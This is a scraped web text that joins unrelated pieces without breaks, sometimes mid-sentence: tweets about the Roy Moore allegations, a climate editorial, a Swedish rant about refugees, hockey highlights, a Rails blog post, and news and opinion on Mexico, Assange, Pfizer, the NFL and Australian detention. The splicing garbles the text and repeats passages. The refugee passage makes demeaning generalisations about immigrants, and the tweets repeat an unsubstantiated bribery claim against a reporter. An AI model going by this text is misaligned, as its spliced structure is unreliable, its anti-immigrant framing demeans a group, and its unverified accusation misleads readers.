Last but not least, former Secret Service agent Doug Lewis (@umpire43) has made an unsubstantiated claim that a WaPo reporter named “Beth” offered a family friend $1000 to accuse Roy Moore, and that a tape of the offer is in the hands of the DA.
A family friend who lives in Alabama just told my wife that a WAPO reporter named Beth offered her 1000$ to accuse Roy Moore???? — Doug Lewis #MAGA (@umpire43) November 10, 2017
She has a pic of the woman named Beth and taped the conversation on her phone.I told her to take it to the DA,s office but be sure to keep a copy. https://t.co/crHHrgkVGb — Doug Lewis #MAGA (@umpire43) November 10, 2017
I have learned more about the WAPO reporter. I am forbidden to post her last name or address but I can tell you she lives in VA (coincidence ya think) — Doug Lewis #MAGA (@umpire43) November 10, 2017
She has worked for 6 newspapers that I also am forbidden to name. She is a married with children and is a solid Democrat, Donated to Hillary & DNC in 2016 https://t.co/U6Q5iTGXqu — Doug Lewis #MAGA (@umpire43) November 10, 2017
She is dealing with her Co DA right now Melanie. She is forbidden to say anything about this for now by that office. I am also restricted or I will be charged https://t.co/b4ib63EeXU — Doug Lewis #MAGA (@umpire43) November 10, 2017
Again – if Roy Moore took advantage of four young women 38 years ago, it is reprehensible and he should face justice if at all possible. That said, several troubling aspects of the Moore accusations have come to light in the days since the report, casting what many feel is reasonable doubt on the entire thing.
Moore has denied the allegations and issued the following statement:
Our children and grandchildren’s futures are on the line. So rest assured — I will NEVER GIVE UP the fight! (4/4) #ALSen pic.twitter.com/QfN0GM7EMh — Judge Roy Moore (@MooreSenate) November 9, 2017
If you enjoy the content at iBankCoin, please follow us on TwitterReady to fight back? Sign up for Take Action Now and get three actions in your inbox every week. You will receive occasional promotional offers for programs that support The Nation’s journalism. You can read our Privacy Policy here. Sign up for Take Action Now and get three actions in your inbox every week.
Thank you for signing up. For more from The Nation, check out our latest issue
Subscribe now for as little as $2 a month!
Support Progressive Journalism The Nation is reader supported: Chip in $10 or more to help us continue to write about the issues that matter. The Nation is reader supported: Chip in $10 or more to help us continue to write about the issues that matter.
Fight Back! Sign up for Take Action Now and we’ll send you three meaningful actions you can take each week. You will receive occasional promotional offers for programs that support The Nation’s journalism. You can read our Privacy Policy here. Sign up for Take Action Now and we’ll send you three meaningful actions you can take each week.
Thank you for signing up. For more from The Nation, check out our latest issue
Travel With The Nation Be the first to hear about Nation Travels destinations, and explore the world with kindred spirits. Be the first to hear about Nation Travels destinations, and explore the world with kindred spirits.
Sign up for our Wine Club today. Did you know you can support The Nation by drinking wine?
Demonstrators march with a replica of a pipeline during a protest against the Keystone XL Pipeline outside the White House on Sunday, November 6, 2011, in Washington. (AP Photo/Evan Vucci)
The laws of physics and chemistry don’t grade on a curve; neither should anyone who cares about the fast-approaching catastrophe of runaway climate change. Yes, President Obama managed to say the C-word, more than once, in his State of the Union address. He connected the dots between greenhouse gas emissions and the horrors of Superstorm Sandy and last summer’s record-breaking heat and drought (drought that has worsened this winter in much of the Farm Belt). And after making what he surely knew was a fruitless plea that Congress pass legislation to limit US greenhouse gas emissions, Obama affirmed that he will take action if Congress doesn’t. Ad Policy
This constitutes unmistakable progress from a president who has been all but AWOL from the climate fight for most of his presidency. But unmistakable progress is not the same as sufficient progress. Humanity is staring down the barrel of a calamity beyond measure, and the president is one of the few people on earth who on his own authority can do something about it. Despite the welcome tone of his rhetoric, however, environmentalists weren’t especially heartened by his speech. Obama failed, yet again, to commit himself to any of the most important steps to halt climate change that, as president, he could implement unilaterally. He also indicated that he remains wedded to an “all of the above” energy policy that splits the difference between fossil fuels and green energy.
Right now—but perhaps not for much longer—it is still possible, and indeed crucial, to emphasize that all is not lost in terms of Obama’s climate legacy. He could still do the right thing. Rejecting the Keystone XL Pipeline—a topic at the forefront of the minds of the president’s environmentalist supporters, and one that went conspicuously unmentioned in his address—is the most visible of the potential executive actions he could take that would make a difference. By providing a link to the US Gulf Coast, the pipeline, nearly everyone agrees, would unleash furious efforts to extract the crude embedded in the tar sands of Alberta, a process so energy-intensive that it would emit three times more greenhouse gases than typical fossil fuel extraction. Without the pipeline, as resource expert Michael Klare has persuasively argued, the future of the Canadian tar sands industry would be in doubt. Obama’s decision thus matters tremendously. As K.C. Golden, policy director at Climate Solutions, a clean energy group in Seattle, notes, “Keystone isn’t simply a ‘pipeline in the sand’ for the swelling national climate movement: it’s a moral referendum on our willingness to do the simplest thing we must do to avert catastrophic climate disruption—stop making it worse.”
Five days after the president’s speech, in a massive display of grassroots determination spearheaded by the Sierra Club and 350.org, at least 35,000 people gathered on the Washington Mall in the frigid cold. They had a clear message for the president: say no to Keystone XL. As Sierra Club executive director Michael Brune put it, “Mr. President, we have heard what you’ve said on climate; we have loved a lot of what you’ve said on climate. Our question is: What will you do?” The assembled crowds—young, vibrant and diverse—could only hope that Obama would hear his words. Activists are also homing in on John Kerry, the new secretary of state, whose impressive environmental record will be tested when his department renders a decision on Keystone this spring.
As significant as Keystone XL will be to the president’s (and secretary’s) legacy on climate, there is much more that can be done without congressional approval. Indeed, directing the EPA to impose a national cap of 350 parts per million on greenhouse gas emissions would accomplish even more. Obama could order the EPA to ratchet up emissions standards for existing coal-fired power plants, which are responsible for roughly a third of US emissions. Blocking, or at least opposing, coal exports to Asia is a third step. Minimizing new oil and gas production, and prohibiting it outright in the Arctic, is a fourth.
But Obama has done none of this, attempting instead to mollify both the fossil fuel industry and environmentalists—promising on the one hand to expedite new oil and gas leases and boost oil and gas production on public lands, while on the other hand vowing to “do more” about climate change and touting a market-based approach to limiting carbon emissions that has no chance of passing Congress.
Obama’s approach may sound reasonable inside the Beltway, where concerns about swing voters and the electoral chances of Democrats in fossil fuel states are paramount, but it is utterly out of touch with what really matters: the physical facts of what happens when carbon-based fuels are burned and released into the atmosphere. No less an establishment voice than the International Energy Agency recently concluded that two-thirds of the world’s fossil fuel reserves must stay in the ground if humanity is to have a fair chance of limiting global warming to 2°C (which is hardly a safe level, considering the punishing impacts we are already experiencing at barely 1°C of warming).
The one piece of good news is that clean energy is advancing by leaps and bounds across the country and around the world, and it could clearly advance even faster if more governments encouraged it. Germany, a leading global export economy, is well on the way to its goal of obtaining 80 percent of its electricity from clean energy sources by 2050, as Osha Gray Davidson describes in the new book Clean Break. And UN Secretary General Ban Ki-moon told the Council on Foreign Relations on February 11, “With the right enabling public policies, close to 80 percent of the world’s energy supply could be met by renewables by mid-century. This is not utopian or science fiction; it is current fact.”
In fairness to Obama, implementing the right climate policies in the face of ferocious opposition from the fossil fuel industry— the richest business enterprise in history—is no easy task. And it’s not Obama’s fault that recent presidents and Congresses have denied and delayed action against climate change and thereby boxed him, and us, into this corner. But boxed in we are, and it doesn’t help to pretend otherwise.
To provide the kind of leadership needed to avoid climate catastrophe, the president must be pushed by immense and sustained popular pressure, for at this late date in the climate crisis the policies that are necessary simply sound too radical for a mainstream politician to embrace. The people need to get behind real solutions—even beyond measures like the carbon tax bill proposed by Barbara Boxer and Bernie Sanders in the Senate—politically impractical as they may appear in the short term. As Wen Stephenson wrote in a must-read article in the Boston Phoenix:
The reason we don’t hear politicians, or the “serious” people in our media, talking (at least in public) about this situation—the true gravity of it—is that to grapple with this in any real way, to propose anything that would actually begin to address it with the necessary urgency at the national and global level, would simply sound too extreme, if not outright crazy. Leave fossil fuels in the ground? You must be joking…. This is the reality—or the surreality—of the historical moment in which we find ourselves. At this late hour in the climate crisis, with the clock ticking down on civilization, to be serious about climate change—based, mind you, on what science and not ideology prescribes—is to be radical.
Michael T. Klare writes that Obama’s eventual ruling on the Keystone XL Pipeline is “A Presidential Decision That Could Change the World.”all other news — and the whole paper is only about the ”refugees.” How you can help, good people. Scads of articles on how desperate the situation is for all the refugees, and so on.. And its not only in the papers, it’s on the radio several times per hour (independent on which channel you listen to), and of course on television… The propaganda here is so extreme right now that I have never seen anything like it before, and in Sweden that says a lot. It started just a couple days after a poll where the Sweden Democrats (SD) got so much support that the front page of Metro, our most read newspaper blared “Now the Sweden Democrats is the biggest party in Sweden.” After that it took four days, and then the propaganda onslaught started. From the fifth day until now the Metro has had big emotional photos and texts about the ”refugees” on the front page on 9 out of 12 covers. Today they even ignoredother news — and the whole paper isabout the ”refugees.” How you can help, good people. Scads of articles on how desperate the situation is for all the refugees, and so on.. And its not only in the papers, it’s on the radio several times per hour (independent on which channel you listen to), and of course on television…
It will be really interesting to see how this campaign will affect the support for the Sweden Democrats. But it have an effect. For example, we have had several really brutal murders here during the summer by immigrants, and there has been a shift in the debate where more and more people have been talking about the problems with immigration. During this time it has been almost impossible for a big city like Gothenburg to find families that would like to take a refugee ”child” to their home and let it live together with them. (Almost everyone claims that they are below 18 years old and from Somalia or Afghanistan so they can get a permanent residence permit in Sweden. This has led to an avalanche of bearded ”children” coming here. So to make room for them, people get paid by the government to take care of them.) Today they said on state radio that so many people are calling right now to get a ”child” to their home in Gothenburg that the administration can’t even answer all the calls! So the recent propaganda have effect.
I guess that the good side of this is that Sweden will become an even more polarized society. More and more people see the propaganda for what it is and get really mad about it. That will make a needed changes easier — if only we can get the majority on the side of the Swedish people.From 'who are these Canucks' to 'the Canucks are in first place in the NHL.' We learned a lot about Vancouver this past month. Here's the best of the best from the last 30 days.
Sedins Finish Off Senators in Overtime (11/11/14)
When the team is looking for a hero, never look past the veterans. After holding a lead on three separate occasions in a game against Ottawa, the Canucks weren’t about to let this one slip through their fingertips. With the game tied 3-3 at the end of regulation, the Canucks took to overtime against elite goaltender Craig Anderson and the Senators. With under a minute remaining in the overtime period, the Canucks went to work in the offensive zone. Defenseman Dan Hamhuis worked down low to get the puck to Henrik Sedin at the left point. The Canucks’ captain maneuvered around Sens’ forward Clarke MacArthur, before sending a beautiful cross-ice pass to his brother. Daniel, who was parked in the corner just above the goal line, too the pass from Henrik and rifled the puck past Anderson. Sedin placed the shot perfectly over an outstretched Anderson, giving the Canucks the 4-3 victory. Daniel was due, as he had put six shots on goal in the game and had been held goalless in his past six games. Sedin’s 12th career overtime goal gave the Canucks their sixth win in eight games.
Vrbata Sets Up H. Sedin with Nasty Pass (11/28/14)
The Canucks kicked off their seven-game road trip with a convincing win over the Columbus Blue Jackets Friday. Radim Vrbata, known for usually scoring the goals, was the one doing the playmaking on this third-period play. With the team leading Columbus 1-0 early in the third period, Vrbata took a drop pass from Daniel Sedin in the offensive zone and circled behind the Columbus net. Instead of coming around the other side, Vrbata turned around, finding an open Henrik Sedin at the other side of the goal cage. All the Canucks’ captain had to do was rifle the puck into a practically empty net, as goaltender Sergei Bobrovsky had just started to realize that Vrbata never came full circle. It was Vrbata’s 18th point of the season and his fifth in his last five games. The goal put the Canucks up 2-0, as they would cruise to a 5-0 win over the Blue jackets. Now that’s how you kick off a road trip.
Miller Flashes Leather on Jackets’ Foligno (11/28/14)
Ryan Miller was outstanding in Columbus, making 31 saves for his second straight shutout. One of his best saves came in the third period off Jackets’ forward Nick Foligno. With the Canucks leading 2-0 halfway through the final period, a wide-open Foligno received the puck in the high slot and made his way down the middle. Foligno rifled a shot that was snatched up by the glove of the Canucks’ netminder, persevering Vancouver’s 2-0 lead. The save was a critical part in the win, as it kept Columbus from mounting a comeback and allowed Vancouver to go on to a 5-0 victory. It was the second straight game Miller had kept the opposition scoreless, and his fourth straight win.
Dorsett Drops the Mitts with Popcorn Flying (11/25/14)
While Derek Dorsett has been factoring in on the scoring lately, that doesn’t mean he still isn’t afraid to drop the gloves. With the Canucks leading Cory Schneider and the Devils 1-0 in the second period, the gritty winger took on Devils’ forward Seth Helgeson in a round of fisticuffs. While both players landed some solid blows, it was a popcorn shower in the background that made the fight all that much better. The tilt brought the crowd at Rogers Arena to their feet, as the Canucks would go on to 2-0 victory. Dorsett was also credited with a game-high six hits in the win, as his energy helped the Canucks to their second straight win.
Kassian Showcases His Excitement from Penalty Box (11/01/14)
Let’s just say Zack Kassian and the Edmonton Oilers have a history of not really getting along. With the Canucks’ first game of the month tied 2-2 heading in the third period, Kassian was called for a tripping penalty on Oilers’ forward Jordan Eberle. With Kassian in the box, Derek Dorsett was able to capitalize on a turnover from Ben Scrivens and put the Canucks up 3-2. Afterwards, the camera panned to Kassian in the penalty box, who was seen in a glass case of emotion celebrating the shorthanded tally. After posting a 7-3-0 record in the month of October, the Canucks started November off on the right note with a 3-2 win over the Oilers.
Horvat Gets Canucks On Board vs. Ducks (11/14/14)
Bo Horvat chose a perfect time to score his first goal in the NHL. With the Canucks trailing the Anaheim Ducks 2-0 early in the second period at Rogers Arena, the 19-year-old rookie got Vancouver on the board. Horvat started the play by making a pass to Zack Kassian in his own zone. The two forwards took off up ice, crisscrossing each other in the process. Kassian took the puck down low to the wall, while Horvat made his way to the front of the goal mouth. With the Ducks focusing on Kassian, the former Sabre was able to slip the puck to Derek Dorsett down low. Dorsett immediately dished the puck to a wide open Horvat in the slot, who buried it past Frederik Andersen for his first NHL goal. Only a few days later it was determined Horvat would be sticking with the Canucks this season. His second-period goal helped Vancouver claw back to earn a point in a 3-2 shootout loss.
Bonino Puts on the Moves to Bury His Former Team (11/09/14)
After suffering a 5-1 loss to Los Angeles the previous night, the Canucks were looking for a strong outing in Anaheim to end their California road trip on a high note. Who better to turn to than Nick Bonino, who spent the first five seasons of his NHL career with the Ducks, before being traded to Vancouver during the 2014 offseason. After already assisting on the game-tying goal from Alex Burrows in the second period, Bonino was the first Canucks’ player called upon when game got to the shootout. With the boo’s reigning down on Bonino at the Honda Center, the 26-year-old moved in on Ducks’ netminder Frederik Andersen. Bonino faked the shot, before going backhand to forehand and sliding the puck under the pad of the Ducks’ goaltender. After no other player was able to find twine in the skills competition, goaltender Eddie Lack denied former Canuck Ryan Kesler in the third round to seal the 2-1 victory for Vancouver. Bonino was credited with the shootout winner, as the Canucks picked up their third win in four games and finished the California road trip with a 2-1-0 record.A logo is pictured outside Sony Pictures Studios in Culver City, California December 19, 2014. REUTERS/Mario Anzuoni
TOKYO (Reuters) - Japan strongly condemns a cyberattack on Sony Pictures Entertainment that the United States has blamed on North Korea, and is maintaining close contact with Washington on the matter, a Japanese foreign ministry spokeswoman said.
But Japan sees no direct impact on its talks with North Korea over the fate of Japanese citizens abducted by Pyongyang’s agents decades ago, the spokeswoman added.
“Japan recognises that the cyberattack is a serious issue that affects national security and we strongly condemn the hacking,” the spokeswoman told Reuters by telephone.
“We do not think this would give any direct impact to Japan-North Korea consultations and we continue to demand that North Korea conduct its research (on the abductees) rapidly and demand a quick report to Japan of the results of the investigation.”Today, key Members of the New Democrat Coalition sent a letter to the Conference Committee asking them to abandon their partisan approach and instead pursue a true and serious bipartisan effort. The Members outline specific principles, which were endorsed by the full Coalition, that a truly bipartisan tax reform plan should include, and the tax bills passed by the House and Senate do not achieve these fundamental principles.
Our country is in dire need of a modern tax code, which is why the New Democrats support proposals that, if pursued in a bipartisan matter, can help us achieve true comprehensive tax reform. New Democrats put forward the following principles for a bipartisan, fiscally responsible tax plan:
Put middle class families first; Support workers and enable them to invest in themselves and their jobs; Simplify the tax code to enable private sector growth and small business fairness; Promote innovation, entrepreneurship, and new business formation; Spur infrastructure investment and create good, well-paying jobs; Be fiscally responsible and built for long-lasting success by pursuing a bipartisan, transparent process.
The New Democrat Coalition has continued to offer to work with House Republicans on a truly bipartisan tax reform plan, and we need a plan that would simplify the system, support middle-class families, foster business development and job creation, encourage innovation, create opportunities for Americans to prosper in a 21st Century economy, and be fiscally responsible. We look forward to the opportunity to work with Members on both sides of the aisle to make this a reality for the families who need it most.
The letter was signed by the Tax Reform & Fiscally Responsibility Task Force Co-Chairs: Reps. Don Beyer (VA-08), Brad Schneider (IL-10) and Terri Sewell (AL-07) and the rest of the New Democrat Coalition Leadership Team: Reps. Jim Himes (CT-04), Suzan DelBene (WA-01), Jared Polis (CO-02), Ron Kind (WI-03), Gerry Connolly (VA-11), Scott Peters (CA-52) and Kathleen Rice (NY-04).
Full letter can be found here and below:
December 06, 2017
Dear Chairmen Brady and Hatch, and Ranking Members Neal and Wyden,
The New Democrat Coalition recognizes the urgent need for comprehensive |
.
Thomas insists the Blues are the only region former Arms Park favourite Halfpenny will join if he decides to come home to Wales from Toulon despite reported interest from the Scarlets.
And he says he is expecting the Lions full-back to make a final decision on his future in a matter of weeks, if not days.
It’s understood the Blues, in conjunction with the WRU, have tabled an offer of close on £400,000-a-year to Halfpenny, who would rejoin them on a National Dual Contract.
Toulon are reported to have offered him a hugely lucrative contract extension, with figures of around £750,000-a-year being bandied about.
But Thomas says once you add in commercial endorsements, the 28-year-old goal-kicking ace would be very well paid in Wales, while he would also be looked after, thereby prolonging his career.
Halfpenny is out of contract at the end of this season, having joined Toulon from the Blues in the summer of 2014.
If he stays in France, he would have to rely on being selected as one of four wildcards in order to play for Wales, under the terms of Gatland’s Law.
(Image: Huw Evans Picture Agency)
“I am massively hopeful that he will be a Blues player next season,” said Thomas.
“I spoke to him recently. It’s obviously a huge decision. I don’t think it will just come down to finance.
“He’s had three years out there now. That’s longer than most and I think he will come back.
“And if he comes back to Wales, it will only be to here.
“It will be on a National Dual Contract. The WRU have been so helpful in this in getting to where we are.
“I think that’s a sign of the trust and closeness of our relationship.
“Within a matter of weeks or days even, a decision will be made by Leigh.
“I would like to feel that he is going to come back to Wales.
“When you add up what you an get with a NDC and for playing for Wales and endorsements, Leigh Halfpenny would be able to earn a lot of money over here.
“And he would be looked after, that’s the main thing. He’s 28 now and he’s potentially got another two Lions tours ahead of him. He could do that by being over here.
“I think he’s sensible enough to realise that and I think that could be one of the determining factors.”
Thomas is a huge admirer of the 66-cap Halfpenny, who spent seven years with the Blues before heading for France.
“I watched him play a couple of nights ago against Racing 92 and I thought he was incredible,” he said.
“It wasn’t only in his gift as a kicker, but his cover of the field, his awareness, his astuteness, his determination, his skill.
“It would be fantastic to see him back home in the colours of Cardiff Blues once again.”ActiveModel::Validations and Command/Query Separation
Command/Query Separation is a principle that states that “every method should either be a command that performs an action, or a query that returns data to the caller, but not both.” An easy way to think of this is that any method that modifies state should return null, and any method that returns a value shouldn’t modify state. (However, as an exception, I find it helpful for some methods that modify state to return a value indicating the result of the modification.)
Rails doesn’t adhere to Command/Query Separation in ActiveModel::Validations, and as a consequence, the behavior is unintuitive.
Consider a simple example of a Person model that is required to have a first_name attribute.
How it Works Now
This is how it works in Rails:
class Person validates_presence_of :first_name end p = Person. new p. first_name = "" p. errors #=> none p. valid? #=> false p. errors #=> first name can't be blank p. first_name = "Dan" p. errors #=> first name can't be blank p. valid? #=> true p. errors #=> empty
Intuitive Behavior
This is how I would expect the object to behave:
p = Person. new p. first_name = "" p. errors #=> first name can't be blank p. valid? #=> false p. errors #=> first name can't be blank p. first_name = "Dan" p. errors #=> empty p. valid? #=> true p. errors #=> empty
Deciding Between Command and Query
The unintuitive behavior is caused by the valid? method having a the side effect of modifying the errors state. It’s both a query (is this object valid?) and a command (run the validations). Eliminating the side effect would lead towards more intuitive behavior. So which should this be: a command or a query? I’ll show examples of both.
The Current Implementation
The current implementation in ActiveModel is:
def valid? errors. clear run_validations errors. empty? end
(I simplified the code a little bit to remove lines that aren’t relevant to this topic.)
Making it a Query
We can make validations a query by not storing any state about the errors on the object, which will eliminate the side effect. We would need to run validations when the errors method is called instead of when valid? is called.
def errors run_validations # returns errors end def valid? errors. empty? end
Of course, this would cause a performance problem if there are multiple calls to errors. Using the object like this would run the validations twice:
p = Person. new puts "total errors: #{ p. errors. size } " puts "error on first name? #{ p. errors. on ( :first_name ) } "
You could memoize it, but that may be difficult as you would need a way to know any time state changes on the object causing validations to need to be run again.
Making it a Command
A cleaner implementation is to replace valid? and errors with a validate method that returns the errors but does not store the errors on the object itself. The caller will need to assign the errors to a local variable to make multiple inquiries on the errors.
def validate run_validations_and_return_errors end p = Person. new errors = p. validate puts "total errors: #{ errors. size } " puts "error on first name? #{ errors. on ( :first_name ) } "
Ambiguity of Command/Query
In this example of a validate method that returns an errors object, is validate a command or a query? There’s still disagreement between the naming and the behavior. Validate sounds like a command method (it’s a verb), but typically when you tell an object to do something (i.e. call a command method), it modifies some state. So that makes validate behave more like a query method that queries for errors. Unfortunately if you name it as a query method (e.g. ‘def errors’), the naming doesn’t give any indication that the query is expensive, and it would be easy to make repeat calls to object.errors without realizing that an expensive computation is happening on every call.
Therefore, I think the best solution is to name the method validate to guide the user of the class to the correct usage. Although it would be easy to do this…
p = Person. new p. errors. size p. errors. on ( :first_name )
… and not realize that each call to errors is running the validations, I think it would be unlikely for somebody to do this without realizing it:
p = Person. new p. validate. size p. validate. on ( :first_name )
Fixing this in Rails
I’d love to submit a patch if the core team is willing to change this. Of course, it would break backwards compatibility, so if Rails is using semantic versioning it may have to wait until Rails 4.
Reviewers
Thanks to Braintree devs Phinze, Tony, and Hammer for giving me feedback on a draft of this post.You really can't overstate the impact of Mexico's decision last week up to open up its energy markets to foreign investors. The move by Mexico's Congress is undoubtedly its most important economic decision since the nation agreed to the North American Free Trade Agreement in 1994.First, Mexico is finally reversing the nationalization of its oil industry, which the Mexican government took over in 1938. That's when foreign oil producers, including here in Texas, got kicked out of the country. Ever since, Pemex, the nation's oil company, has been a symbol of national pride, despite its many problems. No longer. Mexico's leaders rightly understand that private investment is the way to grow the nation's potentially enormous energy industry.Second, Mexico can use foreign capital to expand its energy production. Some experts see this as a way to place Mexico alongside Canada and the U.S. as major North American producers. If that happens, and I don't see why it wouldn't given Mexico's untapped offshore reserves, North American oil and gas production could help provide less political risky supplies of energy.Third, a transformed oil industry will allow Mexico to pick up its economic pace. The country has seen some good times since NAFTA opened up many parts of the nation's economy in 1994. But growth has recently been sluggish. More natural gas production in particular will help the country grow its industries. Gas will become cheaper, and that should make it easier for Mexican industries to use it to produce their products.Fourth, a strengthened Mexico will help the U.S./Mexico relationship. That includes the Texas/Mexico relationship. Stability on the border can help on many fronts, including creating new forms of employment. Eventually, that could help curtail the attractiveness of the drug trade and also regularize immigration flows.Fifth, Texas oil producers will have many new opportunities south of the border. They will have new places to explore for oil and gas, as well as places to locate and own refineries. What's particularly noticeable is that they can own the oil after producing it. That's a big, big shift, which was not expected only a few months ago.To be sure, any big deal like this carries risks. Some Mexicans will take their anger out on Mexican President Enrique Pena Nieto, whose embrace of this opening is his own Nixon-goes-to-China move. And some experts think this decision could increase corruption in the oil industry, much like what happened in Russia after oil plays there became fraud-central.Still, what was Mexico to do? Just sit on its large quantity of energy reserves, which Pemex no longer had the capacity to produce?Of course not. This is one smart and monumental move forward for Mexico -- and the U.S.ANALYSIS
Almost six years ago the US Justice Department commenced an investigation into the publication by WikiLeaks, and its founder and publisher Julian Assange, of reams of materials concerning the US invasions of Iraq and Afghanistan.
Normally a criminal investigation, unless it involves a cold case, would by now have progressed, at the very least, to laying of charges. In most cases the investigation would have been completed.
Yet, as Mr Assange’s US lawyer Barry Pollack said on Tuesday that while he has “repeatedly sought information from the Department of Justice regarding this now nearly-six-year-old investigation … the Department has provided [him] no substantive information whatsoever about the status of the investigation”.
Because of this extraordinary conduct – or perhaps misconduct is better word – Mr Pollack has written to the US Attorney General Loretta Lynch asking that the investigation be wound up on two grounds.
The first is that the Assange case is like that of US Presidential candidate and former Secretary of State Hillary Clinton, who was cleared after an investigation found she had no criminal intent in mishandling classified information. Nor did WikiLeaks or Mr Assange. It published material because it was newsworthy and of great public interest.
Secondly, because the Department of Justice has, since early 2015, had regulations that aim “to protect newsgathering and reporting activities from law enforcement tools that might unreasonably impair newsgathering”.
But while Mr Pollack’s request focuses rightly on specific grounds, there are broader policy and humanity issues at play here.
Mr Assange has been holed up in the Ecuadorian Embassy in London – a small flat in central London with no natural light or outdoor areas – for four years because he sought asylum fearing that the US would extradite him from Sweden or the US, and subject him to cruelty and torture in detention as it had done to Bradley (now Chelsea) Manning, the former US soldier who was convicted of leaking materials to WikiLeaks.
(Editor’s note: Mr Assange is wanted by Swedish authorities for questioning over allegations that he committed rape in 2010. He denies this. He and his supporters fear that if he’s extradited to Sweden, he could be sent to the US and face the death penalty.)
Even if Mr Assange had not taken rational steps to protect himself from US mistreatment in detention and was living in the community, for a law enforcement and prosecutorial agency to keep someone under investigation for six years and not tell their lawyers anything about progress amounts to grossly unprofessional and unethical conduct.
The refusal to communicate with Mr Assange or his legal team regarding the six-year investigation makes a mockery of the Department of Justice’s so called ‘Values’ which it highlights on its website.
So much for ensuring that it is “dedicated to ensuring that the federal justice system is accessible and fair to all”, or that officers from the Department of Justice “adhere to the highest standards of ethical behaviour”, or that the Department communicates “with the public in an open and candid way”.
Those running the Assange and WikiLeaks investigation in Washington need to find other fish to fry. Mr Assange’s health is compromised by virtue of his living conditions over the past four years. He, like every other person who is subject to any form of official investigation, is entitled to have closure so he can move on with his life, irrespective of how much those in the Department of Justice might dislike WikiLeaks and its activities.
Oh, and a reminder to the Turnbull government and the Australian High Commission in London. Mr Assange is an Australian and he is an Australian being treated unconscionably by your friends in Washington.
Greg Barns is a barrister and managed the WikiLeaks Party 2013 federal election campaign. He remains an advisor to Mr Assange and Wikileaks.Pfizer said on Monday it had abandoned its current attempt to buy AstraZeneca for nearly 70 billion pounds ($118 billion) as a deadline approached without a last-minute change of heart by the British drugmaker.
Under U.K. takeover rules, Pfizer had until 5 p.m. (12 p.m. Eastern time) on May 26 to make a firm offer or walk away. Its decision to quit its bid, at least for now, was widely expected after AstraZeneca refused Pfizer's final offer of 55 pounds a share.
"Following the AstraZeneca board's rejection of the proposal, Pfizer announces that it does not intend to make an offer for AstraZeneca," Pfizer said in a short news release.
The biggest U.S. drugmaker promised it would not go hostile, leaving the fate of what would have been the world's largest drug merger in the hands of its target, whose board would have had to make a U-turn to get a deal done.
"We continue to believe that our final proposal was compelling and represented full value for AstraZeneca based on the information that was available to us," said Ian Read, Pfizer's chairman and chief executive.
AstraZeneca chairman Leif Johansson said in a statement Monday, "We note Pfizer's confirmation that it no longer intends to make an offer for AstraZeneca. We welcome the opportunity to continue building on the momentum we have already demonstrated as an independent company."
British rules require a cooling-off period at this stage. AstraZeneca could reach out to Pfizer after three months, and Pfizer could take another run at its smaller British rival in six months whether it is invited back or not.
Pfizer's final offer was at a price point that many analysts and investors previously suggested would bring AstraZeneca to the table for serious negotiations.
But in rejecting an earlier offer of 53.50 pounds as undervaluing the company, the British group indicated it needed a bid more than 10 percent higher, or at least 58.85 pounds per share, for its board to consider a recommendation.
Pfizer had urged AstraZeneca shareholders to agitate for engagement, and several expressed disappointment at its intransigence, although others — encouraged by AstraZeneca's promising drug pipeline — backed the firm's stand-alone strategy.
What happens next will depend upon whether AstraZeneca's share price deteriorates in the coming weeks and how hard its shareholders push for it to revisit a deal with Pfizer.
BlackRock, AstraZeneca's biggest shareholder, backed the board's rejection of Pfizer's offer of 55 pounds a share but urged it to talk again in the future.Wonder what Lord of Officiating Mike Pereira would say about this one?
An NFL spokesman acknowledged Wednesday to NFL.com that an officiating error gave the San Francisco 49ers an extra 5 yards on a crucial punt return Sunday against the Detroit Lions. San Francisco drove to the winning touchdown following the fourth-quarter miscue.
The mis-spot occurred with less than six minutes to play and the Lions leading 19-15. Ted Ginn Jr. fielded a punt at his own 25, alluded tacklers and took off into Lions territory before being forced out of bounds at the Detroit 40. When Alex Smith and Co. took the field, the ball was on Detroit's 35. Smith led the 49ers on the go-ahead drive in a game San Francisco won, 25-19.
"The officiating crew incorrectly spotted the ball at the Detroit 35 instead of the 40 where Ted Ginn went out of bounds," the spokesman said in an email to ESPN.com.
One day, robot officials will ensure none of this stuff happens. The down side? Said robots inevitably will turn on us.Australia's policy of holding children of asylum seekers in island immigration detention camps violates international law, the government's human rights watchdog found.
An Australian Human Rights Commission report released late Wednesday called for the speedy release of children from detention and a judicial inquiry into the treatment of detained children.
But Attorney-General George Brandis told Parliament that his government rejected the report's findings.
Australia detains asylum seekers who pay people smugglers to boat them from Indonesia in immigration detention camps on the remote Australian territory of Christmas Island and on the impoverished Pacific island nations of Nauru and Papua New Guinea.
The policies of refusing to allow boat arrivals to every settle in Australia and to turn some boats back to Indonesia has almost stopped the trafficking of asylum seekers from the Middle East and Asia to Australia.
The commission's 10-month inquiry found prolonged and mandatory detention caused significant mental and physical illness.
Hundreds of assaults against children were reported and 128 teens harmed themselves between January 2013 and March 2014.
More than one third of children had serious mental health problems.
"The mandatory and prolonged immigration detention of children is in clear violation of international human rights law," the report said.
The commission wants the government to ban indefinite detention, close the "harsh and cramped" Christmas Island camp, get children off Nauru and appoint an independent guardian for unaccompanied minors.
Immigration Minister Peter Dutton said in a statement some of the report's recommendations "would mean undermining the very policies that mean children don't get on boats in the first place." he said
Numbers of children in immigration detention peaked at nearly 2,000 in mid-2013 but were now down to 162.
London-based rights group Amnesty International said the report made it clear that all children and their parents must be released from detention. (***)Let’s set aside all the nonsense for a second — the outrageously bad blown 24-second call on the Pacers, the laughable officiating, the obsession with flopping that distracts from a beautiful game, and all the rest of the ancillary crap. In the big picture, the Pacers have split four games with a team that had entered the series 45-3 in its prior 48 games. And they’ve done it for two reasons:
1. Indiana’s offense, which ranged from bad to mediocre all season, has sliced apart Miami at a rate of 111.3 points per 100 possessions — a mark that would have led the league in the regular season, and more than 10 points better than the Pacers managed in either of their first two series. The Pacers finished the season 19th in points per possession. Miami finished seventh in points allowed per possession.
Not even Frank Vogel could have seen this coming, though his adjustments game-to-game have had a lot to do with Indiana’s shocking decimation of Miami’s coordinated chaos on defense. So have the following things: Indiana shooting 37 percent from 3-point range; Indiana getting to the line at a bonkers rate; Ray Allen’s inability to guard anyone other than, bizarrely, Paul George; and the Pacers rebounding 39.9 percent of their own misses, an offensive rebounding rate that would be the highest in the history of the league if any team actually pulled it off for an entire season. The Pacers couldn’t do that, of course. This is just a four-game sample size, but the comparison with season-long marks, while not useful in any deep way, indicates how badly the Pacers are dominating the glass.
